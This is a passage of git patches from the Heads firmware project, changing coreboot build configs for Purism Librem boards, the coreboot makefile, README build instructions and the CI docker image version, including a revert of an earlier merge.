CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -314,7 +310,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -353,6 +348,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -518,6 +514,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -560,15 +558,10 @@ CONFIG_PLATFORM_USES_FSP2_0=y CONFIG_PLATFORM_USES_FSP2_X86_32=y CONFIG_HAVE_INTEL_FSP_REPO=y CONFIG_ADD_FSP_BINARIES=y -CONFIG_PLATFORM_USES_SECOND_FSP=y CONFIG_FSP_T_LOCATION=0xfffe0000 CONFIG_FSP_S_CBFS="fsps.bin" CONFIG_FSP_M_CBFS="fspm.bin" CONFIG_FSP_FULL_FD=y -CONFIG_FSP_S_CBFS_2="fsps_2.bin" -CONFIG_FSP_M_CBFS_2="fspm_2.bin" -CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" -CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_FSP_USES_CB_STACK=y @@ -600,7 +593,6 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -625,7 +617,6 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -657,7 +648,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -720,7 +710,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/flake.nix b/flake.nix index 89c50dd1c..9ad4d9ac1 100644 --- a/flake.nix +++ b/flake.nix @@ -52,7 +52,6 @@ libtool m4 ncurses5 # make menuconfig and slang - nss openssl # needed for talos-2 kernel build parted patch diff --git a/modules/coreboot b/modules/coreboot index 0297386de..9aaf29cfc 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -82,10 +82,10 @@ coreboot-talos_2_repo := https://github.com/Dasharo/coreboot coreboot-talos_2_commit_hash := fc47236e9877f4113dfcce07fa928f52d4d2c8ee $(eval $(call coreboot_module,talos_2,)) -# Similarly, purism is based on 24.02.01, but nothing builds against that release +# Similarly, purism is based on 4.22.01, but nothing builds against that release # or any other fork - no benefit to sharing the toolchain yet. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git -coreboot-purism_commit_hash := 93435b9067d30ec84a6c45ca8649cc76913b1cb8 +coreboot-purism_commit_hash := 0d12e16886ac41d63cb3d60687866060fa75deee $(eval $(call coreboot_module,purism,)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port @@ -118,19 +118,21 @@ CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) # Ensure that touching the config file will force a rebuild $(build)/$(coreboot_dir)/.configured: $(CONFIG_COREBOOT_CONFIG) +EXTRA_FLAGS ?= -fdebug-prefix-map=$(pwd)=heads -gno-record-gcc-switches -Wno-error=packed-not-aligned -Wno-address-of-packed-member + # Select the coreboot version to use for the toolchain ifeq "$($(coreboot_module)_toolchain)" "" -# Use the same module -coreboot_toolchain_module := $(coreboot_module) + # Use the same module + coreboot_toolchain_module := $(coreboot_module) else -# Use a different module -coreboot_toolchain_module := coreboot-$($(coreboot_module)_toolchain) -modules-y += $(coreboot_toolchain_module) -# The toolchain module won't build anything for this board, we just need -# the module prepped so we can hook up the toolchain target -$(coreboot_toolchain_module)_output := .nobuild -$(coreboot-toolchain_module)_configure := echo -e 'all:\n\ttouch .nobuild' > Makefile.nobuild -$(coreboot-toolchain_module)_target := -f Makefile.nobuild + # Use a different module + coreboot_toolchain_module := coreboot-$($(coreboot_module)_toolchain) + modules-y += $(coreboot_toolchain_module) + # The toolchain module won't build anything for this board, we just need + # the module prepped so we can hook up the toolchain target + $(coreboot_toolchain_module)_output := .nobuild + $(coreboot-toolchain_module)_configure := echo -e 'all:\n\ttouch .nobuild' > Makefile.nobuild + $(coreboot-toolchain_module)_target := -f Makefile.nobuild endif $(coreboot_module)_configure := \ @@ -149,6 +151,8 @@ $(coreboot_module)_configure := \ obj="$(build)/$(coreboot_dir)" \ DOTCONFIG="$(build)/$(coreboot_dir)/.config" \ BUILD_TIMELESS=1 \ + CFLAGS_x86_32="$(EXTRA_FLAGS)" \ + CFLAGS_x86_64="$(EXTRA_FLAGS)" \ # Create a dependency from coreboot to the toolchain. Use .heads-toolchain to # mark that the toolchain was built. @@ -206,6 +210,8 @@ $(coreboot_module)_target := \ XGCCPATH="$(build)/$($(coreboot_toolchain_module)_base_dir)/util/crossgcc/xgcc/bin/" \ $(COREBOOT_TARGET_CROSS) \ BUILD_TIMELESS=1 \ + CFLAGS_x86_32="$(EXTRA_FLAGS)" \ + CFLAGS_x86_64="$(EXTRA_FLAGS)" \ $(MAKE_JOBS) $(coreboot_module)_output := $(CONFIG_COREBOOT_ROM) From 1519bd74fe5aa16bb930165a8649cdfe45b8f6dc Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 9 Jul 2024 11:18:11 -0400 Subject: [PATCH 159/619] README.md: Make docker image build more verbose on console, unify Signed-off-by: Thierry Laurion --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index ac9a494dd..d3f1a5b64 100644 --- a/README.md +++ b/README.md @@ -54,7 +54,7 @@ Build docker from nix develop layer locally * Build nix developer local environment with flakes locked to specified versions * `nix --print-build-logs --verbose develop --ignore-environment --command true` * Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image): - * `nix build .#dockerImage && docker load < result` + * `nix --print-build-logs --verbose build .#dockerImage && docker load < result` On some hardened OSes, you may encounter problems with ptrace. ``` @@ -122,7 +122,7 @@ git commit --signoff -m "Bump nix develop based docker image to $docker_hub_repo #use commited flake.nix and flake.lock in nix develop nix --print-build-logs --verbose develop --ignore-environment --command true #build new docker image from nix develop environement -nix build .#dockerImage && docker load < result +nix --print-build-logs --verbose build .#dockerImage && docker load < result #tag produced docker image with new version docker tag linuxboot/heads:dev-env "$docker_hub_repo:$docker_version" #push newly created docker image to docker hub @@ -138,7 +138,7 @@ This can be put in reproducible oneliners to ease maintainership. Test image in dirty mode: ``` -docker_version="vx.y.z" && docker_hub_repo="tlaurion/heads-dev-env" && sed "s@\(image: \)\(.*\):\(v[0-9]*\.[0-9]*\.[0-9]*\)@\1\2:$docker_version@" -i .circleci/config.yml && nix --print-build-logs --verbose develop --ignore-environment --command true && nix build .#dockerImage && docker load < result && docker tag linuxboot/heads:dev-env "$docker_hub_repo:$docker_version" && docker push "$docker_hub_repo:$docker_version" +docker_version="vx.y.z" && docker_hub_repo="tlaurion/heads-dev-env" && sed "s@\(image: \)\(.*\):\(v[0-9]*\.[0-9]*\.[0-9]*\)@\1\2:$docker_version@" -i .circleci/config.yml && nix --print-build-logs --verbose develop --ignore-environment --command true && nix --print-build-logs --verbose build .#dockerImage && docker load < result && docker tag linuxboot/heads:dev-env "$docker_hub_repo:$docker_version" && docker push "$docker_hub_repo:$docker_version" ``` Notes: From 265b1da92010ad8b28924f2a8aecf3623405f1b8 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Mon, 15 Jul 2024 16:53:59 -0400 Subject: [PATCH 160/619] Revert "Merge pull request #1713 from tlaurion/interim_fix_1712" This reverts commit c43b6fc05fe44770c06667eb93361903d993a0d6, reversing changes made to fb9c558ba4ed4d6a581b05d7e47b883e0f79c04a. Signed-off-by: Jonathon Hall --- .circleci/config.yml | 8 +++---- config/coreboot-librem_11.config | 12 +++++++---- config/coreboot-librem_13v2.config | 11 ++++++---- config/coreboot-librem_13v4.config | 11 ++++++---- config/coreboot-librem_14.config | 14 ++++++++----- config/coreboot-librem_15v3.config | 11 ++++++---- config/coreboot-librem_15v4.config | 11 ++++++---- config/coreboot-librem_l1um_v2.config | 16 +++++++------- config/coreboot-librem_mini.config | 15 +++++++++----- config/coreboot-librem_mini_v2.config | 25 +++++++++++++++------- flake.nix | 1 + modules/coreboot | 30 +++++++++++---------------- 12 files changed, 98 insertions(+), 67 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 5b2cc3426..f142ef669 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads steps: diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 16b902ffb..2ce79c1c6 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -174,7 +174,6 @@ CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_JSL=y # CONFIG_ENABLE_UART2 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x28000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="intel_iommu=igfx_off quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -189,6 +188,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -222,6 +222,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="jsl" @@ -253,6 +254,7 @@ CONFIG_SOC_INTEL_JASPERLAKE_DEBUG_CONSENT=0 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -300,6 +302,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_13=y CONFIG_ME_SPEC=13 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -337,7 +340,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y @@ -490,8 +492,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -563,6 +563,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V1=y # end of Generic Drivers @@ -589,6 +590,7 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -620,6 +622,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -680,6 +683,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 316e8264c..1b08c9e66 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM13_V2=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_SKYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index fac3fa30c..e7b5d607b 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM13_V4=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_KABYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index 3d05d26f1..02f30d0fe 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -151,7 +151,7 @@ CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/ CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_USE_LEGACY_8254_TIMER is not set # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 14" CONFIG_HAVE_IFD_BIN=y @@ -180,7 +180,6 @@ CONFIG_BOARD_PURISM_LIBREM_14=y CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -196,6 +195,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -229,6 +229,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -263,6 +264,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -309,6 +311,7 @@ CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -347,7 +350,6 @@ 